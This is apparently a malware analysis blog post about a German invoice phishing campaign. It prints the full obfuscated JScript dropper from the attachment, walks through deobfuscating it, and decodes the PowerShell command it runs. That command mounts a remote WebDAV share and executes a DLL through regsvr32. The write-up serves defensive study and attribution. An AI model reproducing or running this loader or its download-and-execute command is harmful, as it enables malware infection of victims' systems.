German Malware Analysis #2

Intro

Received an email from no-reply@je-suis-licencie.info, with a basic invoice phishing content in German.

Initial Infection

This malware came disguised as a zip folder.

Rechnung_BTKR24_0008703_52109030.zip

Inside, there was a heavily obfuscated .js file with a long number as the filename.

10346272743012617251.js

File Contents

nubdolqdbkmvdn=[];nubdolqdbkmvdn['egrkdulgdes']='O';nubdolqdbkmvdn['flnzsrrckolsiedk']='2';nubdolqdbkmvdn['miulwseausycn']='F';nubdolqdbkmvdn['gehwh']='r';nubdolqdbkmvdn['cszjpeeuxzuady']='L';nubdolqdbkmvdn['otxefisws']='1';nubdolqdbkmvdn['pqbdcrpprerzpvuhu']='H';nubdolqdbkmvdn['jozbnhpcybthbq']='j';nubdolqdbkmvdn['ygwbswodk']='o';nubdolqdbkmvdn['kwwqyfnxqnktvlliy']='t';nubdolqdbkmvdn['mjhlmgmulbqamqbyjz']='i';nubdolqdbkmvdn['sasmldntnmodpuzeo']='D';nubdolqdbkmvdn['aluimwaaep']='f';nubdolqdbkmvdn['jwgsz']='B';nubdolqdbkmvdn['xsbskucnsia']='c';nubdolqdbkmvdn['lujneuaerwmcvptbkgd']='T';nubdolqdbkmvdn['fhefvkn']='C';nubdolqdbkmvdn['iwpldvvjjumyv']='y';nubdolqdbkmvdn['ohirfdufwmyj']='I';nubdolqdbkmvdn['jvucaluuvduhbdosbb']='S';nubdolqdbkmvdn['xlfwccuaohgpkullyjj']='6';nubdolqdbkmvdn['jsaqacx']='K';nubdolqdbkmvdn['zvzkpsuphxts']='A';nubdolqdbkmvdn['hflgla']='V';nubdolqdbkmvdn['jvzgzddhluofr']='9';nubdolqdbkmvdn['kfkbouddqpwz']='7';nubdolqdbkmvdn['gmokthnlandbatoivq']='N';nubdolqdbkmvdn['ingsspiolwol']='a';nubdolqdbkmvdn['hqxrv']='m';nubdolqdbkmvdn['htgxta']='u';nubdolqdbkmvdn['umglmxjwynfi']='k';nubdolqdbkmvdn['jlikitsputurkozpns']='n';nubdolqdbkmvdn['ohozzsngb']='8';nubdolqdbkmvdn['lytkewuyxnmcizkkfss']='Z';nubdolqdbkmvdn['zkggximbes']='W';nubdolqdbkmvdn['vkqvwcb']='Q';nubdolqdbkmvdn['worho']='p';nubdolqdbkmvdn['qrhztynwlygzvnfvugq']='l';nubdolqdbkmvdn['tducezva']='5';nubdolqdbkmvdn['xhttewkjad']='4';nubdolqdbkmvdn['lhfelinetakijgue']='X';nubdolqdbkmvdn['ymuqiwwru']='J';nubdolqdbkmvdn['raxyfmpblnhfrwq']='Y';nubdolqdbkmvdn['okrlzw']='R';nubdolqdbkmvdn['gitjsfoiyviymcqdue']='E';nubdolqdbkmvdn['chfcs']='v';nubdolqdbkmvdn['xrpmzabwjyw']='e';nubdolqdbkmvdn['mzdyzlib']='q';nubdolqdbkmvdn['fggjsmci']='U';nubdolqdbkmvdn['nrqwegy']='g';nubdolqdbkmvdn['vcopgzbbxokipqld']='G';nubdolqdbkmvdn['memq']='b';nubdolqdbkmvdn['eebo']='d';nubdolqdbkmvdn['kquxekuybzee']='h';nubdolqdbkmvdn['lflpyjysexloxjpveat']='0';nubdolqdbkmvdn['jdxl']='s';nubdolqdbkmvdn['lraisbgbk']='M';nubdolqdbkmvdn['kfovqy']='x';nubdolqdbkmvdn['dukemnppxcrabume']='w';nubdolqdbkmvdn['kcneeliepusc']='3';nubdolqdbkmvdn['clutvthywypyjhqbk']='z';nubdolqdbkmvdn['sjgdffyq']='P';try{coetaairmq();}catch(dsfbbtxl){Function(''+nubdolqdbkmvdn['gehwh']+nubdolqdbkmvdn['xrpmzabwjyw']+nubdolqdbkmvdn['kwwqyfnxqnktvlliy']+nubdolqdbkmvdn['htgxta']+nubdolqdbkmvdn['gehwh']+nubdolqdbkmvdn['jlikitsputurkozpns']+' '+nubdolqdbkmvdn['kwwqyfnxqnktvlliy']+nubdolqdbkmvdn['kquxekuybzee']+nubdolqdbkmvdn['mjhlmgmulbqamqbyjz']+nubdolqdbkmvdn['jdxl']+ '')()[''+nubdolqdbkmvdn['zkggximbes']+nubdolqdbkmvdn['jvucaluuvduhbdosbb']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['gehwh']+nubdolqdbkmvdn['mjhlmgmulbqamqbyjz']+nubdolqdbkmvdn['worho']+nubdolqdbkmvdn['kwwqyfnxqnktvlliy']+ ''][''+nubdolqdbkmvdn['fhefvkn']+nubdolqdbkmvdn['gehwh']+nubdolqdbkmvdn['xrpmzabwjyw']+nubdolqdbkmvdn['ingsspiolwol']+nubdolqdbkmvdn['kwwqyfnxqnktvlliy']+nubdolqdbkmvdn['xrpmzabwjyw']+nubdolqdbkmvdn['egrkdulgdes']+nubdolqdbkmvdn['memq']+nubdolqdbkmvdn['jozbnhpcybthbq']+nubdolqdbkmvdn['xrpmzabwjyw']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['kwwqyfnxqnktvlliy']+ ''](''+nubdolqdbkmvdn['zkggximbes']+nubdolqdbkmvdn['jvucaluuvduhbdosbb']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['gehwh']+nubdolqdbkmvdn['mjhlmgmulbqamqbyjz']+nubdolqdbkmvdn['worho']+nubdolqdbkmvdn['kwwqyfnxqnktvlliy']+'.'+nubdolqdbkmvdn['jvucaluuvduhbdosbb']+nubdolqdbkmvdn['kquxekuybzee']+nubdolqdbkmvdn['xrpmzabwjyw']+nubdolqdbkmvdn['qrhztynwlygzvnfvugq']+nubdolqdbkmvdn['qrhztynwlygzvnfvugq']+ '')[''+nubdolqdbkmvdn['gehwh']+nubdolqdbkmvdn['htgxta']+nubdolqdbkmvdn['jlikitsputurkozpns']+ ''](''+nubdolqdbkmvdn['worho']+nubdolqdbkmvdn['ygwbswodk']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['xrpmzabwjyw']+nubdolqdbkmvdn['gehwh']+nubdolqdbkmvdn['jdxl']+nubdolqdbkmvdn['kquxekuybzee']+nubdolqdbkmvdn['xrpmzabwjyw']+nubdolqdbkmvdn['qrhztynwlygzvnfvugq']+nubdolqdbkmvdn['qrhztynwlygzvnfvugq']+' '+'-'+nubdolqdbkmvdn['gitjsfoiyviymcqdue']+nubdolqdbkmvdn['jlikitsputurkozpns']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['ygwbswodk']+nubdolqdbkmvdn['eebo']+nubdolqdbkmvdn['xrpmzabwjyw']+nubdolqdbkmvdn['eebo']+nubdolqdbkmvdn['fhefvkn']+nubdolqdbkmvdn['ygwbswodk']+nubdolqdbkmvdn['hqxrv']+nubdolqdbkmvdn['hqxrv']+nubdolqdbkmvdn['ingsspiolwol']+nubdolqdbkmvdn['jlikitsputurkozpns']+nubdolqdbkmvdn['eebo']+' '+nubdolqdbkmvdn['memq']+nubdolqdbkmvdn['nrqwegy']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['qrhztynwlygzvnfvugq']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['pqbdcrpprerzpvuhu']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['ohirfdufwmyj']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['otxefisws']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['pqbdcrpprerzpvuhu']+nubdolqdbkmvdn['lraisbgbk']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['lytkewuyxnmcizkkfss']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['nrqwegy']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['miulwseausycn']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['lhfelinetakijgue']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['jozbnhpcybthbq']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['memq']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['otxefisws']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['jdxl']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['umglmxjwynfi']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['memq']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['worho']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['pqbdcrpprerzpvuhu']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['cszjpeeuxzuady']+nubdolqdbkmvdn['nrqwegy']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['jozbnhpcybthbq']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['ohozzsngb']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['memq']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['sasmldntnmodpuzeo']+nubdolqdbkmvdn['nrqwegy']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['egrkdulgdes']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['xhttewkjad']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['sasmldntnmodpuzeo']+nubdolqdbkmvdn['nrqwegy']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['lhfelinetakijgue']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['umglmxjwynfi']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['gitjsfoiyviymcqdue']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['eebo']+nubdolqdbkmvdn['nrqwegy']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['kcneeliepusc']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['pqbdcrpprerzpvuhu']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['eebo']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['iwpldvvjjumyv']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['ohozzsngb']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['memq']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['lflpyjysexloxjpveat']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['miulwseausycn']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['ohirfdufwmyj']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['kfkbouddqpwz']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['fhefvkn']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['nrqwegy']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['qrhztynwlygzvnfvugq']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['flnzsrrckolsiedk']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['pqbdcrpprerzpvuhu']+nubdolqdbkmvdn['ohirfdufwmyj']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['lraisbgbk']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['iwpldvvjjumyv']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['fhefvkn']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['cszjpeeuxzuady']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['clutvthywypyjhqbk']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['fhefvkn']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['lhfelinetakijgue']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['lraisbgbk']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['memq']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['chfcs']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['pqbdcrpprerzpvuhu']+nubdolqdbkmvdn['fggjsmci']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['lytkewuyxnmcizkkfss']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['clutvthywypyjhqbk']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['ingsspiolwol']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['kwwqyfnxqnktvlliy']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['umglmxjwynfi']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['eebo']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['htgxta']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['lraisbgbk']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['memq']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['kwwqyfnxqnktvlliy']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['gitjsfoiyviymcqdue']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['egrkdulgdes']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['xhttewkjad']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['sasmldntnmodpuzeo']+nubdolqdbkmvdn['nrqwegy']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['egrkdulgdes']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['raxyfmpblnhfrwq']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['flnzsrrckolsiedk']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['pqbdcrpprerzpvuhu']+nubdolqdbkmvdn['xsbskucnsia']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['eebo']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['kcneeliepusc']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['pqbdcrpprerzpvuhu']+nubdolqdbkmvdn['ohirfdufwmyj']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['memq']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['chfcs']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['pqbdcrpprerzpvuhu']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['lhfelinetakijgue']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['kfovqy']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['sasmldntnmodpuzeo']+nubdolqdbkmvdn['raxyfmpblnhfrwq']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['lraisbgbk']+nubdolqdbkmvdn['nrqwegy']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['kfovqy']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['sasmldntnmodpuzeo']+nubdolqdbkmvdn['raxyfmpblnhfrwq']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['lraisbgbk']+nubdolqdbkmvdn['nrqwegy']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['otxefisws']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['sasmldntnmodpuzeo']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['gmokthnlandbatoivq']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['lflpyjysexloxjpveat']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['sasmldntnmodpuzeo']+nubdolqdbkmvdn['gitjsfoiyviymcqdue']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['gmokthnlandbatoivq']+nubdolqdbkmvdn['dukemnppxcrabume']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['otxefisws']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['sasmldntnmodpuzeo']+nubdolqdbkmvdn['fggjsmci']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['gmokthnlandbatoivq']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['htgxta']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['vcopgzbbxokipqld']+nubdolqdbkmvdn['vkqvwcb']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['memq']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['jwgsz']+nubdolqdbkmvdn['jdxl']+nubdolqdbkmvdn['zvzkpsuphxts']+nubdolqdbkmvdn['zvzkpsuphxts']+'='+'='+ '',0,false);}

De-Obfuscation

This is similar to German Malware #1, so let’s gather our key:value dictionary

nubdolqdbkmvdn = [];

nubdolqdbkmvdn['egrkdulgdes'] = 'O';

nubdolqdbkmvdn['flnzsrrckolsiedk'] = '2';

nubdolqdbkmvdn['miulwseausycn'] = 'F';

nubdolqdbkmvdn['gehwh'] = 'r';

nubdolqdbkmvdn['cszjpeeuxzuady'] = 'L';

nubdolqdbkmvdn['otxefisws'] = '1';

nubdolqdbkmvdn['pqbdcrpprerzpvuhu'] = 'H';

nubdolqdbkmvdn['jozbnhpcybthbq'] = 'j';

nubdolqdbkmvdn['ygwbswodk'] = 'o';

nubdolqdbkmvdn['kwwqyfnxqnktvlliy'] = 't';

nubdolqdbkmvdn['mjhlmgmulbqamqbyjz'] = 'i';

nubdolqdbkmvdn['sasmldntnmodpuzeo'] = 'D';

nubdolqdbkmvdn['aluimwaaep'] = 'f';

nubdolqdbkmvdn['jwgsz'] = 'B';

nubdolqdbkmvdn['xsbskucnsia'] = 'c';

nubdolqdbkmvdn['lujneuaerwmcvptbkgd'] = 'T';

nubdolqdbkmvdn['fhefvkn'] = 'C';

nubdolqdbkmvdn['iwpldvvjjumyv'] = 'y';

nubdolqdbkmvdn['ohirfdufwmyj'] = 'I';

nubdolqdbkmvdn['jvucaluuvduhbdosbb'] = 'S';

nubdolqdbkmvdn['xlfwccuaohgpkullyjj'] = '6';

nubdolqdbkmvdn['jsaqacx'] = 'K';

nubdolqdbkmvdn['zvzkpsuphxts'] = 'A';

nubdolqdbkmvdn['hflgla'] = 'V';

nubdolqdbkmvdn['jvzgzddhluofr'] = '9';

nubdolqdbkmvdn['kfkbouddqpwz'] = '7';

nubdolqdbkmvdn['gmokthnlandbatoivq'] = 'N';

nubdolqdbkmvdn['ingsspiolwol'] = 'a';

nubdolqdbkmvdn['hqxrv'] = 'm';

nubdolqdbkmvdn['htgxta'] = 'u';

nubdolqdbkmvdn['umglmxjwynfi'] = 'k';

nubdolqdbkmvdn['jlikitsputurkozpns'] = 'n';

nubdolqdbkmvdn['ohozzsngb'] = '8';

nubdolqdbkmvdn['lytkewuyxnmcizkkfss'] = 'Z';

nubdolqdbkmvdn['zkggximbes'] = 'W';

nubdolqdbkmvdn['vkqvwcb'] = 'Q';

nubdolqdbkmvdn['worho'] = 'p';

nubdolqdbkmvdn['qrhztynwlygzvnfvugq'] = 'l';

nubdolqdbkmvdn['tducezva'] = '5';

nubdolqdbkmvdn['xhttewkjad'] = '4';

nubdolqdbkmvdn['lhfelinetakijgue'] = 'X';

nubdolqdbkmvdn['ymuqiwwru'] = 'J';

nubdolqdbkmvdn['raxyfmpblnhfrwq'] = 'Y';

nubdolqdbkmvdn['okrlzw'] = 'R';

nubdolqdbkmvdn['gitjsfoiyviymcqdue'] = 'E';

nubdolqdbkmvdn['chfcs'] = 'v';

nubdolqdbkmvdn['xrpmzabwjyw'] = 'e';

nubdolqdbkmvdn['mzdyzlib'] = 'q';

nubdolqdbkmvdn['fggjsmci'] = 'U';

nubdolqdbkmvdn['nrqwegy'] = 'g';

nubdolqdbkmvdn['vcopgzbbxokipqld'] = 'G';

nubdolqdbkmvdn['memq'] = 'b';

nubdolqdbkmvdn['eebo'] = 'd';

nubdolqdbkmvdn['kquxekuybzee'] = 'h';

nubdolqdbkmvdn['lflpyjysexloxjpveat'] = '0';

nubdolqdbkmvdn['jdxl'] = 's';

nubdolqdbkmvdn['lraisbgbk'] = 'M';

nubdolqdbkmvdn['kfovqy'] = 'x';

nubdolqdbkmvdn['dukemnppxcrabume'] = 'w';

nubdolqdbkmvdn['kcneeliepusc'] = '3';

nubdolqdbkmvdn['clutvthywypyjhqbk'] = 'z';

nubdolqdbkmvdn['sjgdffyq'] = 'P';
---snip---

Now that the dictionary has been mapped out, here is our substituted logic:

try {

    coetaairmq();

} catch (dsfbbtxl) {

    Function('' + r + e + t + u + r + n + ' ' + t + h + i + s + '')()['' + W + S + c + r + i + p + t + '']['' + C + r + e + a + t + e + O + b + j + e + c + t + '']('' + W + S + c + r + i + p + t + '.' + S + h + e + l + l + '')['' + r + u + n + '']('' + p + o + w + e + r + s + h + e + l + l + ' ' + '-' + E + n + c + o + d + e + d + C + o + m + m + a + n + d + ' ' + b + g + B + l + A + H + Q + A + I + A + B + 1 + A + H + M + A + Z + Q + A + g + A + F + w + A + X + A + B + j + A + G + w + A + b + w + B + 1 + A + G + Q + A + c + w + B + s + A + G + k + A + b + Q + B + p + A + H + Q + A + L + g + B + j + A + G + 8 + A + b + Q + B + A + A + D + g + A + O + A + A + 4 + A + D + g + A + X + A + B + k + A + G + E + A + d + g + B + 3 + A + H + c + A + d + w + B + y + A + G + 8 + A + b + w + B + 0 + A + F + w + A + I + A + A + 7 + A + C + A + A + c + g + B + l + A + G + c + A + c + w + B + 2 + A + H + I + A + M + w + A + y + A + C + A + A + L + w + B + z + A + C + A + A + X + A + B + c + A + G + M + A + b + A + B + v + A + H + U + A + Z + A + B + z + A + G + w + A + a + Q + B + t + A + G + k + A + d + A + A + u + A + G + M + A + b + w + B + t + A + E + A + A + O + A + A + 4 + A + D + g + A + O + A + B + c + A + G + Q + A + Y + Q + B + 2 + A + H + c + A + d + w + B + 3 + A + H + I + A + b + w + B + v + A + H + Q + A + X + A + A + x + A + D + Y + A + M + g + A + x + A + D + Y + A + M + g + A + 1 + A + D + Q + A + N + w + A + 0 + A + D + E + A + N + w + A + 1 + A + D + U + A + N + A + A + u + A + G + Q + A + b + A + B + s + A + A + '=' + '=' + '', 0, false);

}

Which translates to:

try {

    coetaairmq();

} catch (dsfbbtxl) {

    Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run']('powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAxADYAMgAxADYAMgA1ADQANwA0ADEANwA1ADUANAAuAGQAbABsAA==', 0, false);

}

1. Function(‘return this’)() creates a new function that returns the global this object, which is then used to access WScript.
2. WScript.CreateObject(‘WScript.Shell’) creates an instance of WScript.Shell.
3. WScript.Shell.run executes a command using the run method.

We can see a PowerShell command being executed, decoding it with base64 gives us:

net use \\cloudslimit.com@8888\davwwwroot\ ; regsvr32 /s \\cloudslimit.com@8888\davwwwroot\162162547417554.dll

Comparing the resolved IP of cloudslimit.com, it is the same as the IP found in the command of malware #1 (45.9.74.36). We can determine that by comparing the endpoint these two malwares communicate with, as well as the obfuscation and infection style that this is the same threat actor.